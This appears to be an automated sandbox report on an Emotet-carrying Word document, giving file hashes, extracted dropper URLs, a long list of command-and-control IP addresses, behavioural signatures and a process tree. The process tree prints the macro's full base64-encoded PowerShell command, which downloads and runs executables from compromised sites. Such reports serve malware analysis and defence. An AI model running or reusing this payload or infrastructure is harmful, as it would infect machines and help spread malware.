Analysis
- max time kernel
140s - max time network
152s - platform
windows10_x64 - resource
win10v200722 - submitted
21/08/2020, 20:31
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_6c07e097125602926df0ea025482c72e280b3f4b72f2fe5f0603c0b23811ef4a_2020-08-21__203001._doc.doc
Resource
win7
General
- Target emotet_e1_6c07e097125602926df0ea025482c72e280b3f4b72f2fe5f0603c0b23811ef4a_2020-08-21__203001._doc.doc
- Size 179KB
- Sample200821-2m7cdlfc42
- SHA256 6c07e097125602926df0ea025482c72e280b3f4b72f2fe5f0603c0b23811ef4a
- MD5 1521f0a40377caebbe64403e50e2383a
- SHA1 82094145074679021f15223a9398a8a86d9df137
- SHA512 c337b9892360f0d65744b44b202d866f77969e84c50e079820884d03d34a714aa4798d47f4125321bebfd8464c5f308d2dad7f40016fd5bf71ae9c24e6a0e95d
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://tavo.cl/resumen-uso-inodos/2/
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exe.dropper
http://swiftlogisticseg.com/wp-admin/yV/
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exe.dropper
http://uss.ac.th/cgi-bin/g0/
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exe.dropper
http://nettube.com.br/rar/AM/
-
exe.dropper
https://onyourleftracing.com/cgi-bin/uas/
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exe.dropper
http://paganwitch.com/wp-admin/H/
-
exe.dropper
http://turbozero.com/luxcal/files/z/
Extracted
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emotet
-
181.30.61.163:443
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209.126.6.222:8080
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5.153.250.14:8080
-
188.135.15.49:80
-
104.131.41.185:8080
-
178.250.54.208:8080
-
50.28.51.143:8080
-
170.81.48.2:80
-
87.106.46.107:8080
-
191.99.160.58:80
-
187.162.248.237:80
-
89.32.150.160:8080
-
46.28.111.142:7080
-
190.190.148.27:8080
-
190.115.18.139:8080
-
178.79.163.131:8080
-
73.213.208.163:80
-
219.92.8.17:8080
-
95.9.180.128:80
-
212.71.237.140:8080
-
82.196.15.205:8080
-
111.67.12.221:8080
-
24.135.198.218:80
-
202.4.57.96:80
-
61.92.159.208:8080
-
80.249.176.206:80
-
77.90.136.129:8080
-
81.129.198.57:80
-
58.171.153.81:80
-
217.13.106.14:8080
-
24.148.98.177:80
-
51.255.165.160:8080
-
190.6.193.152:8080
-
149.62.173.247:8080
-
94.206.45.18:80
-
137.74.106.111:7080
-
190.195.129.227:8090
-
85.109.159.61:443
-
207.144.103.227:80
-
91.219.169.180:80
-
217.199.160.224:7080
-
104.131.103.37:8080
-
83.169.21.32:7080
-
82.163.245.38:80
-
204.225.249.100:7080
-
152.169.22.67:80
-
45.161.242.102:80
-
65.36.62.20:80
-
185.94.252.27:443
-
116.125.120.88:443
-
190.24.243.186:80
-
190.147.137.153:443
-
190.128.173.10:80
-
192.241.146.84:8080
-
186.250.52.226:8080
-
68.183.170.114:8080
-
45.173.88.33:80
-
12.162.84.2:8080
-
185.33.0.233:80
-
68.183.190.199:8080
-
73.116.193.136:80
-
213.60.96.117:80
-
189.2.177.210:443
-
186.103.141.250:443
-
177.73.0.98:443
-
72.47.248.48:7080
-
2.47.112.152:80
-
181.129.96.162:8080
-
5.196.35.138:7080
-
185.94.252.12:80
-
190.163.31.26:80
-
94.176.234.118:443
-
70.32.84.74:8080
-
213.176.36.147:8080
-
114.109.179.60:80
-
177.74.228.34:80
-
186.70.127.199:8090
-
174.100.27.229:80
-
45.33.77.42:8080
-
212.93.117.170:80
-
219.92.13.25:80
-
188.2.217.94:80
-
77.55.211.77:8080
-
172.104.169.32:8080
-
85.105.140.135:443
-
209.236.123.42:8080
-
70.32.115.157:8080
-
24.135.1.177:80
-
82.76.111.249:443
-
192.241.143.52:8080
-
51.159.23.217:443
-
191.182.6.118:80
-
67.247.242.247:80
-
177.72.13.80:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1912 812 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3420-13-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet behavioral2/memory/3420-13-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet behavioral2/memory/1248-16-0x0000000000580000-0x000000000058C000-memory.dmp emotet behavioral2/memory/1248-16-0x0000000000580000-0x000000000058C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 20 1912 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3420 Ebx_b2iy.exe 1248 rdpserverbase.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\enrollmentapi\rdpserverbase.exe Ebx_b2iy.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2080 WINWORD.EXE 2080 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1912 powersheLL.exe 1912 powersheLL.exe 1912 powersheLL.exe 1248 rdpserverbase.exe 1248 rdpserverbase.exe 1248 rdpserverbase.exe 1248 rdpserverbase.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1912 powersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE 2080 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1912 wrote to memory of 3420 1912 powersheLL.exe 75 PID 1912 wrote to memory of 3420 1912 powersheLL.exe 75 PID 1912 wrote to memory of 3420 1912 powersheLL.exe 75 PID 3420 wrote to memory of 1248 3420 Ebx_b2iy.exe 76 PID 3420 wrote to memory of 1248 3420 Ebx_b2iy.exe 76 PID 3420 wrote to memory of 1248 3420 Ebx_b2iy.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_6c07e097125602926df0ea025482c72e280b3f4b72f2fe5f0603c0b23811ef4a_2020-08-21__203001._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2080
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABEADYAegBfADgAMAB1AD0AKAAnAE0ANAB0AHIAJwArACcAbABsAGoAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgBUAEUATQBQAFwATwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAVQBSAEkAYABUAFkAcAByAE8AdABPAGAAYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABSADcAdQBxAGsAbQBsACAAPQAgACgAJwBFACcAKwAnAGIAeABfAGIAJwArACcAMgBpAHkAJwApADsAJABZAG0ANQA3AGIAdgAwAD0AKAAnAEsAZQAnACsAJwBwADQAJwArACcAMwBfAGoAJwApADsAJABGADgAZQBmAGcAdQBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMAGcAUgAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAEwAJwArACcAZwBSACcAKQAuACIAUgBFAFAAYABsAEEAQwBlACIAKAAoAFsAQwBoAGEAcgBdADcANgArAFsAQwBoAGEAcgBdADEAMAAzACsAWwBDAGgAYQByAF0AOAAyACkALAAnAFwAJwApACkAKwAkAFIANwB1AHEAawBtAGwAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFoAegBuAGIAdwAzAG0APQAoACcAVgAnACsAJwBqAGoAegBsACcAKwAnAHcAbgAnACkAOwAkAEcAOQA5ADYAOABmADgAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAEYAdwBhAGEAMQBxAHIAPQAoACcAaAB0AHQAJwArACcAcAA6AC8ALwB0AGEAJwArACcAdgBvAC4AYwBsACcAKwAnAC8AcgBlAHMAdQBtAGUAbgAtAHUAcwAnACsAJwBvACcAKwAnAC0AaQAnACsAJwBuAG8AZABvAHMAJwArACcALwAyAC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoALwAvAHMAdwAnACsAJwBpAGYAdAAnACsAJwBsAG8AZwBpACcAKwAnAHMAJwArACcAdABpAGMAcwBlAGcALgBjAG8AbQAnACsAJwAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAvAHkAVgAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwB1AHMAJwArACcAcwAnACsAJwAuACcAKwAnAGEAYwAuAHQAaAAvACcAKwAnAGMAZwBpAC0AYgBpAG4ALwBnADAALwAnACsAJwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AbgAnACsAJwBlAHQAJwArACcAdAB1AGIAZQAuAGMAbwBtACcAKwAnAC4AYgAnACsAJwByAC8AcgBhAHIAJwArACcALwBBAE0ALwAqACcAKwAnAGgAJwArACcAdAB0AHAAcwAnACsAJwA6ACcAKwAnAC8ALwBvACcAKwAnAG4AeQBvAHUAJwArACcAcgBsAGUAZgB0AHIAYQBjACcAKwAnAGkAbgBnAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAJwArACcAaQAtAGIAaQAnACsAJwBuAC8AJwArACcAdQBhACcAKwAnAHMALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcAAnACsAJwBhACcAKwAnAGcAYQAnACsAJwBuAHcAaQB0AGMAaAAuAGMAbwBtAC8AdwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwArACcASAAvACoAaAB0AHQAcAA6AC8ALwB0AHUAcgBiACcAKwAnAG8AegAnACsAJwBlACcAKwAnAHIAJwArACcAbwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AbAB1AHgAYwBhAGwALwBmACcAKwAnAGkAbABlAHMAJwArACcALwB6ACcAKwAnAC8AJwApAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEAcQAwAHcAMQBqAHEAPQAoACcATwB5ADgAJwArACcAaAA1ADkAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAGUAYwBpAGoAcwAyACAAaQBuACAAJABGAHcAYQBhADEAcQByACkAewB0AHIAeQB7ACQARwA5ADkANgA4AGYAOAAuACIARABgAG8AdwBuAGAATABPAEEAYABEAGYASQBMAGUAIgAoACQASABlAGMAaQBqAHMAMgAsACAAJABGADgAZQBmAGcAdQBjACkAOwAkAEoAeABiAGMANgB4ADkAPQAoACcAQQAnACsAJwBoAGMAJwArACcAMwBtAGsAcgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARgA4AGUAZgBnAHUAYwApAC4AIgBMAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADIAMgAzACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEYAOABlAGYAZwB1AGMAKQA7ACQAVgAzAGwAYQB5AHgAMgA9ACgAJwBEAHIAOQAnACsAJwA3AGYANQA3ACcAKQA7AGIAcgBlAGEAawA7ACQARgBsAHoAdQBrADMAcAA9ACgAJwBVAHYAdAAnACsAJwBnACcAKwAnAHkANwBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBxAGEAZwBkAGIAMQA9ACgAJwBJACcAKwAnADUAegBmAF8AawA2ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3420 -
C:\Windows\SysWOW64\enrollmentapi\rdpserverbase.exe"C:\Windows\SysWOW64\enrollmentapi\rdpserverbase.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1248
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